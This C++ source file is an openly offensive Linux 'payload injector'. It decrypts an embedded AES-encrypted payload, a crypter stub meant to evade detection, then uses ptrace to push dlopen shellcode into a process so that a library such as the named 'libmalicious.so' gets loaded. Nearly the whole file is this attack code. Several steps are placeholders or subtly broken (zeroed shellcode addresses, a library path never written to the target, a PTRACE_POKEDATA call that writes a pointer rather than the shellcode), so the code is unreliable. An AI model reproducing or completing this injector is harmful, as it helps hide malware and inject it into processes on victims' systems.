// Linux-only AES-decrypting payload injector #include #include #include #include #include #include #include #include #include #include #include #include #include #include // Include encrypted payload data #include "payload_data.h" #include "metadata_data.h" // AES-CBC Decryption class for Linux class AESDecryptor { private: std::vector key; bool deriveKey(const std::string& password, const std::vector& salt) { EVP_MD_CTX* mdctx = EVP_MD_CTX_new(); if (!mdctx) return false; if (EVP_DigestInit_ex(mdctx, EVP_sha256(), NULL) != 1) { EVP_MD_CTX_free(mdctx); return false; } if (EVP_DigestUpdate(mdctx, password.c_str(), password.length()) != 1) { EVP_MD_CTX_free(mdctx); return false; } if (EVP_DigestUpdate(mdctx, salt.data(), salt.size()) != 1) { EVP_MD_CTX_free(mdctx); return false; } std::vector hash(32); if (EVP_DigestFinal_ex(mdctx, hash.data(), NULL) != 1) { EVP_MD_CTX_free(mdctx); return false; } EVP_MD_CTX_free(mdctx); // Use first 16 bytes for AES-128 key.assign(hash.begin(), hash.begin() + 16); return true; } public: std::vector decrypt(const std::vector& ciphertext, const std::vector& iv, const std::vector& salt, const std::string& password) { if (!deriveKey(password, salt)) { return std::vector(); } EVP_CIPHER_CTX* ctx = EVP_CIPHER_CTX_new(); if (!ctx) return std::vector(); if (EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key.data(), iv.data()) != 1) { EVP_CIPHER_CTX_free(ctx); return std::vector(); } EVP_CIPHER_CTX_set_padding(ctx, 1); // Enable PKCS7 padding std::vector plaintext(ciphertext.size()); int len, plaintext_len = 0; if (EVP_DecryptUpdate(ctx, plaintext.data(), &len, ciphertext.data(), ciphertext.size()) != 1) { EVP_CIPHER_CTX_free(ctx); return std::vector(); } plaintext_len = len; if (EVP_DecryptFinal_ex(ctx, plaintext.data() + len, &len) != 1) { EVP_CIPHER_CTX_free(ctx); return std::vector(); } plaintext_len += len; plaintext.resize(plaintext_len); EVP_CIPHER_CTX_free(ctx); // Remove PKCS7 padding manually if (!plaintext.empty()) { uint8_t padding_size = plaintext.back(); if (padding_size <= 16 && padding_size > 0) { // Verify padding is correct bool padding_valid = true; for (size_t i = plaintext.size() - padding_size; i < plaintext.size(); ++i) { if (plaintext[i] != padding_size) { padding_valid = false; break; } } if (padding_valid) { plaintext.resize(plaintext.size() - padding_size); } } } return plaintext; } }; // Embedded encrypted payload (generated by crypt tool) // Data is included via header files int main(int argc, char* argv[]) { // Decrypt the embedded payload std::vector ciphertext(encrypted_Input_bin, encrypted_Input_bin + sizeof(encrypted_Input_bin)); std::vector metadata(decryption_metadata_bin, decryption_metadata_bin + sizeof(decryption_metadata_bin)); // Parse metadata: salt(32) + iv(16) + size(4) std::vector salt(metadata.begin(), metadata.begin() + 32); std::vector iv(metadata.begin() + 32, metadata.begin() + 48); uint32_t expected_size = *reinterpret_cast(metadata.data() + 48); if (ciphertext.size() != expected_size) { return 1; // Decryption failed } // Decrypt using hardcoded password (change this!) AESDecryptor decryptor; std::string password = "YourSecureMasterPassword123!"; std::vector decrypted_so = decryptor.decrypt(ciphertext, iv, salt, password); if (decrypted_so.empty()) { std::cerr << "Decryption failed - invalid password or corrupted data" << std::endl; return 1; // Decryption failed - invalid password or corrupted data } std::cout << "Decryption successful! Decrypted size: " << decrypted_so.size() << " bytes" << std::endl; // Use decrypted data as shared library path const char* soPath; if (!decrypted_so.empty() && decrypted_so.back() == '\0') { soPath = reinterpret_cast(decrypted_so.data()); } else { // Fallback to hardcoded path soPath = "/usr/lib/libmalicious.so"; } // Linux injection using ptrace and dlopen pid_t target_pid; std::cout << "Starting injection process..." << std::endl; // For demonstration, we'll inject into a child process // In real usage, you'd find a suitable target process target_pid = fork(); if (target_pid < 0) { std::cerr << "Fork failed" << std::endl; return 1; } if (target_pid == 0) { // Child process - target for injection // Execute a simple program that we can inject into execl("/bin/sleep", "sleep", "100", NULL); return 1; } else if (target_pid > 0) { // Parent process - perform injection std::cout << "Created child process with PID: " << target_pid << std::endl; usleep(100000); // Wait for child to start // Attach to target process std::cout << "Attaching to process..." << std::endl; if (ptrace(PTRACE_ATTACH, target_pid, NULL, NULL) == -1) { std::cerr << "Ptrace attach failed: " << strerror(errno) << std::endl; return 1; } // Wait for process to stop int status; waitpid(target_pid, &status, 0); std::cout << "Process attached and stopped" << std::endl; // Get registers struct user_regs_struct regs; ptrace(PTRACE_GETREGS, target_pid, NULL, ®s); // Allocate memory in target process for library path // This is a simplified implementation - real code would use process_vm_writev void* remote_libpath = (void*)0x2000000; // Fixed address for demo // Write library path to target memory (simplified) size_t libpath_len = strlen(soPath) + 1; // In real implementation: use process_vm_writev to write soPath to remote_libpath // Inject dlopen call // This is a simplified version - real implementation would need more sophisticated shellcode unsigned char shellcode[] = { 0x48, 0x31, 0xc0, // xor rax, rax 0x48, 0xbf, // mov rdi, // Address of library path would go here 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xbe, // mov rsi, RTLD_LAZY 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8, // mov rax, dlopen // dlopen address would go here 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd0, // call rax 0x48, 0x31, 0xc0, // xor rax, rax 0xc3 // ret }; // Write shellcode to target memory (simplified) // In real implementation: use process_vm_writev to write shellcode to remote_shellcode // Execute shellcode ptrace(PTRACE_POKEDATA, target_pid, regs.rip, (void*)shellcode); // Continue execution ptrace(PTRACE_CONT, target_pid, NULL, NULL); // Detach ptrace(PTRACE_DETACH, target_pid, NULL, NULL); // Wait for child waitpid(target_pid, &status, 0); } return 0; }